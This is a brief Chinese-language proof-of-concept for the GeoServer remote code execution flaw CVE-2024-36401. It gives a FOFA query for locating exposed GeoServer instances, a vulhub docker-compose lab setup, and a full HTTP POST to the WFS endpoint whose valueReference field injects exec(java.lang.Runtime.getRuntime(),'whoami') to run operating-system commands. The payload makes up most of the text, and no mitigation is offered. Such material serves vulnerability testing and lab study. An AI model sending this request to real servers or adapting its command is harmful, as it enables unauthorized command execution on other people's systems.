GeoServer 远程代码执行漏洞（CVE-2024-36401）

FOFA：app="GeoServer"

#docker-compose.yml文件version: '3'services: web:   image: vulhub/geoserver:2.23.2   ports:    - "8080:8080"    - "5005:5005"

docker compose up -d

POST /geoserver/wfs HTTP/1.1Host: Accept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36Content-Type: application/xml

<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'>  <wfs:Query typeNames='sf:archsites'/>  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'whoami')</wfs:valueReference></wfs:GetPropertyValue>